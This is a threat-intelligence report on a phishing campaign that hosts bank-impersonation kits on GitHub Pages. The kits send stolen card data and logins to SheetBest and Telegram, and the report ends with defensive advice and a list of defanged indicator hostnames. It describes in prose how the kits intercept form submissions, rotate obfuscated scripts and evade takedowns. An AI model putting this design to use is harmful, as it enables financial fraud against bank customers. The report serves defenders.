Serverless Phishing: How Threat Actors Weaponize GitHub Pages and APIs for Large-Scale Financial Fraud
A highly sophisticated, long-running phishing campaign has transitioned into a modular, serverless architecture, specifically designed to exploit the trust of reputable cloud platforms. By weaponizing GitHub Pages, threat actors are conducting large-scale operations to harvest sensitive payment card data, login credentials, and personally identifiable information (PII) from banking customers across Mexico.
The operational backbone of this campaign is a custom-built phishing kit featuring a centralized selector panel. This allows operators to rapidly generate highly convincing, institution-specific landing pages. Currently, the kit supports impersonation of at least a dozen different financial institutions, utilizing responsive design to ensure seamless engagement across both desktop and mobile user agents.
To maximize resilience and evade traditional takedown efforts, the attackers have moved away from single-domain hosting. Instead, they have deployed the kit across more than 100 unique GitHub Pages repositories. By utilizing varied directory paths—such as /cancelacion/, /soporte/, and /mb1/—the operators create a redundant web of sites that allow for immediate redeployment if specific repositories are flagged and removed.
Research from Group-IB highlights that the campaign’s persistence and scale are driven by this modularity, which combines distributed hosting with obfuscated client-side logic and third-party APIs—most notably SheetBest—to facilitate data exfiltration.
Technical Breakdown: The Serverless Exfiltration Model
The attack follows a multi-stage execution flow. Victims are initially lured via social engineering to a “trust-building” landing page. Once a sense of legitimacy is established, they are redirected to credential-harvesting forms that meticulously mimic the authentic login workflows of their respective banks.
From a technical standpoint, the phishing pages utilize JavaScript submit listeners. When a victim enters their data, the script executes e.preventDefault() to intercept the standard form submission, serializes the input fields into a JSON payload, and transmits the data via an HTTP POST request to SheetBest API endpoints.
This approach effectively turns Google Sheets into a makeshift Command and Control (C2) backend. By using SheetBest, the attackers eliminate the need to maintain and defend traditional C2 infrastructure, significantly reducing their digital footprint. Group-IB researchers identified multiple SheetBest endpoints that resolve to a single backend IP, suggesting a highly efficient many-to-one data collection model.
To further frustrate automated detection, the phishing pages do not embed malicious logic directly within the HTML. Instead, they pull obfuscated external JavaScript from randomized paths. This enables “payload rotation,” where attackers can update the malicious logic without altering the visible structure of the page, thereby bypassing many signature-based security tools. In some instances, the kit was found to contain hardcoded Telegram bot tokens and Chat IDs, allowing for real-time exfiltration of stolen credentials directly to the attackers’ mobile devices.
The campaign also demonstrates high operational maturity. Repository metadata and commit histories indicate active maintenance by multiple accounts over a year-long period. The attackers utilize Jekyll-based builds and GitHub Actions for automated deployment. Furthermore, they leverage Open Graph metadata to ensure that when links are shared via WhatsApp or Telegram, they appear as legitimate, high-trust previews, significantly increasing click-through rates.
Interestingly, the presence of robots.txt directives such as noindex, nofollow confirms that these sites are not intended for organic search engine discovery, but are strictly intended for targeted distribution through direct messaging and social media.
Defensive Implications
This campaign marks a maturing trend in cybercrime: the exploitation of “reputation hijacking.” By utilizing the HTTPS certificates and trusted domains of providers like GitHub, attackers bypass the most common layer of defense: domain blacklisting.
For financial institutions and SOC teams, the shift from domain-centric to behavior-centric detection is critical. Defenders should prioritize:
- Behavioral Analysis: Monitoring for unusual API calls to common third-party services (e.g., SheetBest, Telegram) from unexpected sources.
- Brand Impersonation Monitoring: Actively scanning developer platforms and hosting services for cloned institutional assets.
- Enhanced Intelligence Sharing: Coordinating with cloud service providers for rapid takedowns and sharing IOCs across the financial sector.
Indicators of Compromise (IOCs)
| # | Hostname | Count |
|---|---|---|
| 1 | soporte-index25.github[.]io | 2 |
| 2 | soporte-index09.github[.]io | 2 |
| 3 | sntdr-soporte25.github[.]io | 1 |
| 4 | 07-soporte.github[.]io | 2 |
| 5 | soporte2507.github[.]io | 2 |
| 6 | soporte160625.github[.]io | 3 |
| 7 | soporte250324.github[.]io | 2 |
| 8 | soporte74.github[.]io | 4 |
| 9 | soporte-bm1.github[.]io | 1 |
| 10 | soporte-r5.github[.]io | 3 |
| 11 | api.sheetbest[.]com | 2 |
| 12 | soporte0625.github[.]io | 2 |
| 13 | soporte200525.github[.]io | 2 |
| 14 | soporte2650.github[.]io | 1 |
| 15 | soporte-bn1.github[.]io | 1 |
| 16 | soporte-b2.github[.]io | 1 |
| 17 | soporte-index.github[.]io | 2 |
| 18 | soporte-c1.github[.]io | 1 |
| 19 | soporte-b4.github[.]io | 1 |
| 20 | sntndr25-soporte.github[.]io | 2 |
| 21 | sntndr-soporte0825.github[.]io | 2 |
| 22 | 0825-soporte.github[.]io | 2 |
| 23 | soporte-07-25.github[.]io | 2 |
| 24 | soporte-0725.github[.]io | 2 |
| 25 | 0725soporte.github[.]io | 2 |
| 26 | soporte0725-3.github[.]io | 2 |
| 27 | soporte0725.github[.]io | 2 |
| 28 | soporteyatencionf.github[.]io | 2 |
| 29 | 0725-soporte.github[.]io | 2 |
| 30 | soporte-y-atencion.github[.]io | 1 |
| 31 | soporter03.github[.]io | 1 |
| 32 | respaldo94.github[.]io | 2 |
| 33 | soporte-index05.github[.]io | 1 |
| 34 | soporte-b1.github[.]io | 1 |
| 35 | soporte0625.github[.]io | 2 |
| 36 | soporte250324.github[.]io | 2 |
| 37 | fldsmdfr-94.github[.]io | 2 |
| 38 | support-vh.github[.]io | 1 |
Note: Domains are intentionally defanged (e.g., [.]) to prevent accidental resolution. Re-fang only within controlled threat intelligence platforms.